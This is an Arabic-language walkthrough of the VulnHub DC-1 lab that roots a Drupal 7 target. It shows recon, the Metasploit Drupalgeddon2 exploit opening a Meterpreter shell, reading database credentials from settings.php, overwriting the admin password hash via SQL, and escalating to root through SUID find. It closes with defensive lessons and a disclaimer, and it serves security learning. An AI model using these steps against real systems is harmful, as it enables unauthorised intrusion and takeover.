VulnHub-DC1-Writeup

"توثيقات لاختبارات اختراق مخبرية تغطي سلاسل الهجوم الكاملة — من الاستطلاع حتى الجذر."

🔓 VulnHub — DC-1 — توثيق اختراق حتى الجذر (Boot-to-Root)

الصعوبة: مبتدئ–متوسط
المنصة: VulnHub
الهدف: التقاط جميع الأعلام الأربعة وتحقيق اختراق كامل بصلاحيات الجذر
نظام المهاجم: Kali Linux (VirtualBox — NAT Network)
النظام المستهدف: Debian Linux (Drupal 7 CMS)

📌 جدول المحتويات

1. إعداد المختبر
2. الاستطلاع والتعداد
3. الاستغلال — تنفيذ الأكواد عن بُعد
4. ما بعد الاستغلال — تثبيت الصدفة
5. العلم 1 — تعداد خادم الويب
6. العلم 2 — استخراج بيانات اعتماد قاعدة البيانات
7. العلم 3 — الوصول إلى لوحة الإدارة عبر التلاعب بالهاش
8. العلم 4 والجذر — تصعيد الصلاحيات عبر SUID
9. ملخص المهارات والأدوات
10. الدروس المستفادة

🛠 إعداد المختبر

تم تكوين الجهازين الافتراضيين تحت نفس شبكة NAT في VirtualBox للسماح بالتواصل بين الجهازين مع الحفاظ على بيئة مختبر معزولة.

🔍 الاستطلاع والتعداد

اكتشاف المضيفين

تم استخدام arp-scan لتحديد جميع المضيفين النشطين على الشبكة الفرعية المحلية:

sudo arp-scan -l

النتيجة: تم تحديد الهدف عند 10.0.2.3

فحص الخدمات والمنافذ

تم تشغيل فحص كامل بـ Nmap مع كشف الإصدار والبرامج النصية الافتراضية:

sudo nmap -sV -sC 10.0.2.3

النتائج الرئيسية:

🔑 مهم: حدّد Nmap تطبيق الويب صراحةً على أنه Drupal 7 عبر ترويسات HTTP generator — مما يؤكد وجود إصدار CMS معروف بثغراته.

💥 الاستغلال — تنفيذ الأكواد عن بُعد

الثغرة: Drupalgeddon2 (CVE-2018-7600)

يتأثر Drupal 7 بثغرة حرجة لـ تنفيذ الأكواد عن بُعد (RCE) في واجهة Form API الخاصة به. يمكن للمهاجم غير المصادَق إرسال طلب HTTP مُعدّ بعناية ينفّذه الخادم الخلفي كأمر نظام — دون الحاجة إلى أي مصادقة.

تم إطلاق Metasploit Framework:

msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit

النتيجة: تم فتح صدفة عكسية Meterpreter بنجاح بصلاحيات www-data (مستخدم عملية خادم الويب).

🐚 ما بعد الاستغلال — تثبيت الصدفة

تم الانتقال من Meterpreter إلى صدفة Linux أصلية وتثبيتها باستخدام Python PTY:

shell
python -c 'import pty; pty.spawn("/bin/bash")'

النتيجة: صدفة bash تفاعلية بالكامل بصلاحيات www-data@DC-1 داخل /var/www

🚩 العلم 1 — تعداد خادم الويب

ls -la /var/www
cat flag1.txt

محتويات العلم 1:

Every good CMS needs a config file - and so do you.

💡 تلميح: يشير مباشرةً إلى ملف إعدادات Drupal — settings.php

🚩 العلم 2 — استخراج بيانات اعتماد قاعدة البيانات

تم الانتقال إلى دليل إعدادات Drupal وفحص ملف الإعدادات:

cd /var/www/sites/default
cat settings.php

تم اكتشاف بيانات اعتماد مضمّنة في مصفوفة $databases:

محتويات العلم 2 (من تعليقات الملف):

Brute force and dictionary attacks aren't the only ways to gain access
(and you WILL need access). What can you do with these credentials?

💡 تلميح: استخدم بيانات الاعتماد للوصول إلى خادم MySQL الخلفي — دون اللجوء إلى أي هجوم تخمين (brute force).

🚩 العلم 3 — الوصول إلى لوحة الإدارة عبر التلاعب بالهاش

الخطوة 1: تعداد قاعدة البيانات

mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;

تم العثور على كلمات مرور مشفّرة للمستخدمَين admin وfred — وكلاهما يستخدم نظام التجزئة $S$ الخاص بـ Drupal (المبني على SHA-512).

الخطوة 2: تزوير هاش كلمة مرور مخصّص

بدلاً من كسر الهاش الموجود، تم استخدام سكربت PHP المدمج في Drupal لإنشاء هاش جديد:

cd /var/www
php scripts/password-hash.sh password123

الناتج: هاش $S$D... صالح لكلمة المرور password123

الخطوة 3: استبدال كلمة مرور المسؤول عبر SQL

use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';

تم تسجيل الدخول إلى http://10.0.2.3 بنجاح باسم المستخدم admin وكلمة المرور password123.

محتويات العلم 3 (تم العثور عليها في لوحة محتوى إدارة Drupal):

Special PERMS will help FIND the passwd - but you'll need to -exec
that command to work out how to get what's in the shadow.

💡 تلميح: إعداد خاطئ لثنائي SUID على الأمر find — تم تحديد مسار تصعيد الصلاحيات.

🚩 العلم 4 والجذر — تصعيد الصلاحيات عبر SUID

الخطوة 1: تعداد مستخدمي النظام

cat /etc/passwd

تم تحديد موقع المستخدم flag4 مع دليله الرئيسي في /home/flag4.

cat /home/flag4/flag4.txt

محتويات العلم 4:

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?

الخطوة 2: استغلال SUID عبر find

كان الثنائي find يملك بت SUID مفعّلاً، مما يعني أنه يُنفَّذ بصلاحيات مالك الملف (الجذر) بغض النظر عمّن يشغّله.

find . -exec /bin/sh \;
whoami
# root

الخطوة 3: علم الجذر

cd /root
cat thefinalflag.txt

Well done!!! Hope you enjoyed DC-1!

تم تحقيق اختراق كامل بصلاحيات الجذر. ✅

🛠 ملخص المهارات والأدوات

الأدوات المستخدمة

المهارات المُطبَّقة

• ✅ الاستطلاع الشبكي واكتشاف المضيفين
• ✅ تحديد بصمة الخدمات والتعرف على نظام CMS
• ✅ البحث في ثغرات CVE واستخدام الاستغلالات العامة
• ✅ Metasploit Framework — نشر الحمولات (Payloads)
• ✅ ما بعد الاستغلال والتنقل الجانبي
• ✅ تعداد قاعدة البيانات واستخراج بيانات الاعتماد
• ✅ تزوير هاش كلمات المرور وحقن SQL عبر CLI
• ✅ تدقيق ثنائيات SUID في Linux
• ✅ تصعيد الصلاحيات إلى الجذر

📚 الدروس المستفادة

من منظور هجومي:

• منصات CMS غير المحدّثة (حتى لو كانت متأخرة بإصدار رئيسي واحد أو إصدارين) يمكن استغلالها بسهولة عبر CVEs عامة ووحدات Metasploit.
• ملفات الإعدادات مثل settings.php غالباً ما تحتوي بيانات اعتماد نصية صريحة (plaintext) تتيح للمهاجم الانتقال من الوصول إلى الويب إلى السيطرة الكاملة على قاعدة البيانات.
• الإعدادات الخاطئة لـ SUID على الثنائيات الشائعة مثل find أو vim أو python تُعدّ من أكثر مسارات تصعيد الصلاحيات موثوقية في بيئات Linux.

من منظور دفاعي:

• حافظ دائماً على تحديث منصات CMS فوراً — كانت التصحيحات متاحة لثغرة Drupalgeddon2؛ الثغرة الفعلية كانت في التأخير بتطبيقها.
• يجب ألا تُحفظ الأسرار (بيانات اعتماد قاعدة البيانات) في ملفات إعدادات يمكن الوصول إليها عبر الويب دون تشفير أو تجريد عبر متغيرات البيئة.
• داوِم على تدقيق ثنائيات SUID بانتظام: يجب أن يكون find / -perm -4000 -type f 2>/dev/null جزءاً من أي قائمة تحقق لتقوية أمان Linux.

⚠️ إخلاء المسؤولية

هذا التوثيق لأغراض تعليمية بحتة، ويوثّق أنشطة نُفّذت في بيئة مختبر معزولة وقانونية. لا تحاول أبداً تطبيق هذه التقنيات على أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.

أُنجز بواسطة Prapul | ملف تعريف TryHackMe | GitHub